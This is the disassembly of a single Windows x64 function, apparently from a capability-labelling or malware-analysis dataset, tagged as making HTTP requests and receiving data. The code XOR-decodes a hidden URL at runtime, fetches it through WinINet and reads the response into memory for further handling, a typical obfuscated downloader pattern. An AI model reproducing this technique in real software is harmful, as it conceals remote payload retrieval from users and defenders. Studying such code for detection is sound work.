Function at 0x140001560
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140026008]
xor rax, rsp
mov qword [rbp - 0x10], rax
xor r15d, r15d
mov qword [rbp - 0x48], rdx
mov r13, rcx
mov dword [rbp - 0x50], r15d
xor edx, edx
mov dword [rsp + 0x20], r15d
lea rcx, str.NULL
xor r9d, r9d
xor r8d, r8d
mov esi, r15d
mov edi, r15d
mov r12d, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r14, rax
test rax, rax
jne 0x1400015c8
mov eax, r15d
jmp 0x140001877
mov ecx, dword [0x140026ac0]
mov rax, qword gs:[0x58]
movdqa xmm0, xmmword [0x14001a640]
movdqa xmm1, xmmword [0x14001a650]
mov qword [rsp + 0xd0], rbx
mov rdx, qword [rax + rcx*8]
mov ecx, 0x40
mov ebx, 0x10
add rbx, rdx
mov dword [rbp - 0x20], 0x745616b3
mov dword [rbp - 0x1c], 0xcf7d4485
mov eax, dword [rcx + rdx]
mov dword [rbp - 0x18], 0x621d0ab4
test r12b, al
jne 0x140001681
or eax, r12d
mov byte [rbx + 0x2d], r12b
mov dword [rcx + rdx], eax
lea rcx, [rbp - 0x14]
lea rax, [rbx + 0x2c]
cmp rbx, rcx
ja 0x14000165a
lea rcx, [rbp - 0x40]
cmp rax, rcx
jb 0x14000165a
mov eax, dword [rbp - 0x18]
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x20]
movups xmmword [rbx + 0x10], xmm1
movsd qword [rbx + 0x20], xmm0
mov dword [rbx + 0x28], eax
mov byte [rbx + 0x2c], 0xed
jmp 0x140001675
mov eax, dword [rbp - 0x18]
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp - 0x20]
movups xmmword [rbx + 0x10], xmm1
movsd qword [rbx + 0x20], xmm0
mov dword [rbx + 0x28], eax
mov byte [rbx + 0x2c], 0xed
lea rcx, [0x1400193e0]
call fcn.140001ae0
cmp byte [rbx + 0x2d], sil
je 0x140001742
xor byte [rbx], 0xd7
xor byte [rbx + 1], 0x65
xor byte [rbx + 2], 0x79
xor byte [rbx + 3], 7
xor byte [rbx + 4], 0xed
xor byte [rbx + 5], 0x21
xor byte [rbx + 6], 0x11
xor byte [rbx + 7], 0xa3
xor byte [rbx + 8], 0xd7
xor byte [rbx + 9], 0x65
xor byte [rbx + 0xa], 0x79
xor byte [rbx + 0xb], 7
xor byte [rbx + 0xc], 0xed
xor byte [rbx + 0xd], 0x21
xor byte [rbx + 0xe], 0x11
xor byte [rbx + 0xf], 0xa3
xor byte [rbx + 0x10], 0xd7
xor byte [rbx + 0x11], 0x65
xor byte [rbx + 0x12], 0x79
xor byte [rbx + 0x13], 7
xor byte [rbx + 0x14], 0xed
xor byte [rbx + 0x15], 0x21
xor byte [rbx + 0x16], 0x11
xor byte [rbx + 0x17], 0xa3
xor byte [rbx + 0x18], 0xd7
xor byte [rbx + 0x19], 0x65
xor byte [rbx + 0x1a], 0x79
xor byte [rbx + 0x1b], 7
xor byte [rbx + 0x1c], 0xed
xor byte [rbx + 0x1d], 0x21
xor byte [rbx + 0x1e], 0x11
xor byte [rbx + 0x1f], 0xa3
xor byte [rbx + 0x20], 0xd7
xor byte [rbx + 0x21], 0x65
xor byte [rbx + 0x22], 0x79
xor byte [rbx + 0x23], 7
xor byte [rbx + 0x24], 0xed
xor byte [rbx + 0x25], 0x21
xor byte [rbx + 0x26], 0x11
xor byte [rbx + 0x27], 0xa3
xor byte [rbx + 0x28], 0xd7
xor byte [rbx + 0x29], 0x65
xor byte [rbx + 0x2a], 0x79
xor byte [rbx + 0x2b], 7
xor byte [rbx + 0x2c], 0xed
mov byte [rbx + 0x2d], sil
mov qword [rsp + 0x28], r15
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0x2400
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r15, rax
test rax, rax
jne 0x14000178b
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
xor eax, eax
jmp 0x14000186f
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140001837
lea r9, [rbp - 0x50]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001837
mov edx, dword [rbp - 0x50]
add rsi, rdx
test rdi, rdi
jne 0x1400017d7
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x1400017e9
mov r8d, 0x42
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rdi, rax
test rax, rax
je 0x140001837
mov r8d, dword [rbp - 0x50]
mov rcx, rax
sub rcx, r8
mov rdx, rbx
add rcx, rsi
call fcn.1400029d0
mov r8d, dword [rbp - 0x50]
xor edx, edx
mov rcx, rbx
call fcn.140003080
cmp dword [rbp - 0x50], 0x400
jb 0x140001896
lea r9, [rbp - 0x50]
mov r8d, 0x400
mov rdx, rbx
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400017c1
xor r12d, r12d
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rbx, rbx
je 0x14000186c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r12d
mov rbx, qword [rsp + 0xd0]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140001c10
add rsp, 0x80
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov r9, qword [rbp - 0x48]
mov r8, r13
mov edx, esi
mov rcx, rdi
call fcn.1400012f0
jmp 0x14000183a